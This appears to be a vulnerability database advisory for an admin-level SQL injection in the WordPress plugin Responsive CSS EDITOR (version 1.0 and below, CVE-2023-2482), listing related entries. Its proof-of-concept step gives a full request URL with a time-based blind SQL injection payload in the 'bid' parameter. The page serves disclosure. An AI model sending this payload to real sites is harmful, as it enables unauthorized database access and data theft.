Lucene search
Chien VuongWPEX-ID:C0F73781-BE7E-482E-91DE-AD7991AD4BD5HistoryJun 05, 2023 - 12:00 a.m.
Responsive CSS EDITOR <= 1.0 - Admin+ SQLi
2023-06-0500:00:00
Chien Vuong
65
responsive css editor
admin
sql injection
0.001 Low
EPSS
Percentile
30.0%
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high-privilege users such as admin.
1. Send a request with the payload: /wp-admin/admin.php?page=responsive_css_editor_setting&updateorder=false&deletebreakpoints=true&bid=(select*from(select(sleep(5)))a)
2. See SQLiRelated
prion
prion
Sql injection
2023-06-27 14:15:00
nvd
nvd
CVE-2023-2482
2023-06-27 14:15:10
wpvulndb
wpvulndb
Responsive CSS EDITOR <= 1.0 - Admin+ SQLi
2023-06-05 00:00:00
cve
cve
CVE-2023-2482
2023-06-27 14:15:10
cvelist
cvelist
CVE-2023-2482 Responsive CSS EDITOR <= 1.0 - Admin+ SQLi
2023-06-27 13:17:10
wordfence
wordfence